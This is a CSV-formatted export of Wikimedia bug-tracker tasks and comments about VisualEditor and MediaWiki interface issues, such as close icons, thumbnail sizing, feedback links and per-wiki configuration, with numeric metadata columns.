+226925,"Inconsistent close icon ""x""  in Wikimedia product interfaces",Related URL: https://gerrit.wikimedia.org/r/62237 (Gerrit Change I0e1703057e45297d6728cb635c58183aa37103da),,,1367693310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+226920,"Inconsistent close icon ""x""  in Wikimedia product interfaces","4. The Universal Language Selector extension uses its own chunky X icon with no hover behavior. jquery.uls styles icon-close with background of https://bits.wikimedia.org/static-1.22wmf3/extensions/UniversalLanguageSelector/lib/jquery.uls/images/close.svg
+
+5, 6. The Translate and VisualEditor extensions also have close.svg icons for CSS backgrounds, each slightly different.",,,1367641625,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+226916,"Inconsistent close icon ""x""  in Wikimedia product interfaces","1. is a design from late 2012.
+
+2. matches https://www.mediawiki.org/wiki/Wikimedia_Foundation_Design/Agora_Icon_Set#General edits in 2012 which says ""Dismiss - an 'X' in a circle.""
+
+3. came from jquery.ui work in 2010.",,,1367639602,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-ox6rq6ltvn2e7lv2xj47,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,1
+49815,"""Leave feedback"" link has confusing scope","Component: UI
+
+The speech bubble icon and ""Leave feedback"" link in Visual Editor look like they apply to the page being edited.  I was expecting a Talk: tool.
+
+It would be more clear if the text were ""Report bug in Visual Editor"", but that's annoyingly verbose.  Which is sort of the intention here, I assume ;)  Normally, this link would get buried in a dropdown menu or something, IMO.
+
+The problem is exacerbated if you are sort of blind and zoom in your browser a lot, because the VE feedback link becomes very prominent once the toolbar is wrapped.
+",Low,25.0,1367214840,1419610136.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-necjrhau4bastnyumud5,task_description,resolved,True,c1,1,True,False,False,-9,,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+393080,"""Leave feedback"" link has confusing scope","Yep, from what I recall of the past and my understanding of the report, the issue looks solved.",,,1419610136,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,77,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+391898,"""Leave feedback"" link has confusing scope","The link is now neatly tucked inside a dropdown menu. There's no screenshot on this bug, so I can only guess that it wasn't like this before. This probably resolves the issue sufficiently.
+
+{F23347}",,,1419186729,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,76,,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+211163,"""Leave feedback"" link has confusing scope","Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864550,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,3,True,,,20,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+211159,"""Leave feedback"" link has confusing scope",The feedback link isn't a VisualEditor item but part of MediaWiki core. Moving bug appropriately.,,,1367275669,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-necjrhau4bastnyumud5,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+49804,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Screenshot of page in view mode
+
+Show thumbnail in user preference size in edit mode.
+
+1. Set user preference to 300 pixel: ""Thumbnail size:"" of https://de.wikipedia.org/wiki/Spezial:Einstellungen?uselang=en#mw-prefsection-rendering
+
+2. Edit page with image included as standard thumb.
+
+Thumbnail is shown in a smaller size instead of the user preference size.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/thumb
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50379
+
+**Attached**: {F10384}",Low,25.0,1367185680,1393447280.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-pwct3nalejruvwpszxyi,task_description,resolved,True,c1,1,False,False,False,-10,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,1
+210503,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","We have now implemented displaying default images in local wiki default size, and explicitly *not* user-preference size.
+
+This is because the editing surface should encourage users to make the right kind of edits for all users, not just themselves. If a page has an image at default and a second at 300px, and a user with a default of 400px resizes one of the images to fit in with the other, a user with a default of 200px (e.g. an anonymous user) will get a different experience and may try to revert (or the change will have a different effect to what was intended).
+
+I'm therefore re-titling this bug to just refer to local wiki size, and marking as FIXED. Happy to discuss further.",,,1393447280,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,True,,,34,,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+210498,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Change 114420 merged by jenkins-bot:
+Set up wiki-default image size
+
+https://gerrit.wikimedia.org/r/114420",,,1393446711,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+210492,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Change 114420 had a related patch set uploaded by Mooeypoo:
+[wip] Set up wiki-default image size
+
+https://gerrit.wikimedia.org/r/114420",,,1392873520,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+210488,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","French Wikipedians would like VE to follow the local convention that thumbnails are only displayed with the ""upright"" option (https://en.wikipedia.org/wiki/Wikipedia:Extended_image_syntax#Size).",,,1389017980,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,27,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0
+210485,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","User preference and wiki-default sizes specify the maximum width of an image, regardless of dimensions or aspect ratio, but VE scales the images to fit in a 190px by 212px box.
+
+This means that some images, particularly tall thin ones such as full-length portraits, get rendered at very different sizes in VE edit mode to view mode, with consequential impact on the layout of surrounding content.",,,1380667642,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,False,,,13,,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+210481,"VisualEditor: ""Thumb"" images should display in wiki default thumb size",*** Bug 52487 has been marked as a duplicate of this bug. ***,,,1380666480,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+210476,"VisualEditor: ""Thumb"" images should display in wiki default thumb size",Confirmed with Gabriel (Parsoid team) that this [should|is going to be] solved in VE.,,,1368216779,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+210472,"VisualEditor: ""Thumb"" images should display in wiki default thumb size","Created attachment 12197
+Screenshot in edit mode with smaller thumbnail
+
+**Attached**: {F10385}",,,1367185755,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-pwct3nalejruvwpszxyi,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0
+49786,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin","Review your changes
+
+See screenshot.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F10352}",Low,25.0,1367136660,1370298813.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-fs4ayby7t52qjcroab4t,task_description,declined,True,c1,1,True,False,True,-10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+209269,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin",Meh. I guess I'll never use VE.,,,1370328889,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-fs4ayby7t52qjcroab4t,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+209263,"VisualEditor: ""Review your changes"" pop-over overlaps sidebar in monobook skin","Exactly what is the problem? The fact that the VisualEditor dialog overlaps the Monobook sidebar, or that the searchbox/logo in the Monobook sidebar overlap the VisualEditor dialog?
+
+The VisualEditor dialog overlapping is pretty much inevitable since it has a minimum width. If your screen is too narrow it has no where to go (short of a scrollbar, which I think give a worse user experience).
+
+If it were always overlapping it would be a more pressing problem, but right now it only overlaps if you activate the review dialog, in which case your focus is more likely to be on the dialog than on the sidebar (e.g. if we need to choose, it is the obvious choice).",,,1370298705,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fs4ayby7t52qjcroab4t,task_subcomment,,True,c1,1,True,,,-4,,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+49780,VisualEditor: Tools to set/unset text with annotations (tracker),"Given that these all exist in DM, it's ""just"" a question of making a set of icons for each function and adding it to the tool bar (and then working out what to do with a toolbar with eight such icons when we wanted two.
+
+Have left off from the existing list in ve.dm.TextStyleAnnotation.js:
+
+* span - as that'll need to be a distinct bug given the complexity (it'll need at least an inspector, possibly a dialog)
+* strong/em - should we just silently use these instead of b/i (or vice versa)? Either way, it feels confusing to give the user both options.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1367087820,1422405518.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nkytk4yj27kjhhclg73g,task_description,declined,True,c1,1,True,True,False,-10,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0
+403718,VisualEditor: Tools to set/unset text with annotations (tracker),All now in #VisualEditor-EditingTools.,,,1422405518,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,3,True,,,82,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+208851,VisualEditor: Tools to set/unset text with annotations (tracker),Related URL: https://gerrit.wikimedia.org/r/64801 (Gerrit Change I51f2605e7d8e2bab1d641f02244d5cd24f505676),,,1369136660,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208846,VisualEditor: Tools to set/unset text with annotations (tracker),"Icons for these are now merged into master; the outstanding work here is relatively light, except for the overall design issue about the toolbar having too many buttons.",,,1369094298,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+208838,VisualEditor: Tools to set/unset text with annotations (tracker),Related URL: https://gerrit.wikimedia.org/r/64475 (Gerrit Change I2f317e1dda2c2e2fceac401768c732dae02e83ce),,,1368875872,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-nkytk4yj27kjhhclg73g,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49679,VisualEditor: Report that the save dialog omits the save description entry box on hewiki/Windows/Firefox,"Cannot reproduce in Firefox/Mac or Chrome/Mac; asking user to reconfirm.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**Platform**: PC",Low,25.0,1366931820,1367254280.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xc3udo6fxmbjckxyjow3,task_description,invalid,True,c1,1,True,False,True,-10,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+228412,VisualEditor: Report that the save dialog omits the save description entry box on hewiki/Windows/Firefox,I asked the user. he meant to a local script which isn't supported by VE.,,,1367254280,,PHID-USER-u7udgblfyop6qd5wxot6,True,,,PHID-TASK-xc3udo6fxmbjckxyjow3,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+49557,VisualEditor: Clean up the way that VE must be configured per wiki,"As suggested by Timo - currently we have 'wmgUseVisualEditor' and 'wmgVisualEditorParsoidPrefix' which both need to be defined for each wiki we're putting VE on, which is a bit annoying (and prone to mistakes) - when we have all 295 Wikipedias with it switched on, it will be even worse. We should probably clean this up a bit.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1366731840,1369920023.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-em5ivp4uf7qvneztv3ep,task_description,resolved,True,c1,1,True,False,True,-10,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+220589,VisualEditor: Clean up the way that VE must be configured per wiki,This is now done and live in production.,,,1369920023,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+220581,VisualEditor: Clean up the way that VE must be configured per wiki,"(In reply to comment #1)
+> We could replace wgUseVisualEditor with a visualeditor.dblist file, and
+> change the Parsoid prefixes to be equal to $wgDBname.
+
+$wgUseVisualEditor (or wmgUseVisualEditor) seems fine to me, not sure if a dblist would make things easier.
+
+Getting rid of having to configure wmgVisualEditorParsoidPrefix for each wiki would be great (or at least setting it dynamically/automatically from CommonSettings.php).",,,1369145278,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-6,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1
+220573,VisualEditor: Clean up the way that VE must be configured per wiki,Related URL: https://gerrit.wikimedia.org/r/64493 (Gerrit Change I621e98da3be4f787e294d97b350b92d217f43a00),,,1368896205,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+220563,VisualEditor: Clean up the way that VE must be configured per wiki,"(In reply to comment #1)
+> We could replace wgUseVisualEditor with a visualeditor.dblist file, and
+> change the Parsoid prefixes to be equal to $wgDBname.
+
+That sounds like a start, but we're going to want to run some wikis in nothing (no preference to switch on - just not in the .dblist file?), some in alpha (opt-in, limited namespaces) and some in beta (default, all ""content"" even-numbered namespaces that won't break - e.g. MediaWiki:, Template:, Schema:, ? others). Would we want two .dblist files? And some magic juice to decide what namespaces were safe?",,,1368770741,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,True,,,-7,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+220552,VisualEditor: Clean up the way that VE must be configured per wiki,"We could replace wgUseVisualEditor with a visualeditor.dblist file, and change the Parsoid prefixes to be equal to $wgDBname.",,,1368770161,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-em5ivp4uf7qvneztv3ep,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+49508,VisualEditor: Always submit Parsoid bugs over https,"Please write your bugs report to http://parsoid.wmflabs.org/_bugs/ only with https to avoid a secure hole.
+
+Please see this as a blocker for the coming roll out. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1366641360,1370629791.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_description,invalid,True,c1,1,False,False,True,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+217569,VisualEditor: Always submit Parsoid bugs over https,"We're scrapping this feedback system, so marking as INVALID.",,,1370629791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+217567,VisualEditor: Always submit Parsoid bugs over https,"Comment from bug 47507 comment 1:
+
+| No data goes over the wire that is personally-identifying, so I would
+| disagree that this is a blocker; however, yes, this is good practice and we
+| should try to do thi[s] (especially, to avoid unexpected mix-mode for users).",,,1366668178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+49454,VisualEditor: The old form <source> tag of <syntaxhighlight> extension is not supported,"It seems <syntaxhighlight is working just fine, but it's old deprecated 'redirect' <source is not recognized by VE, as can be seen in the link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
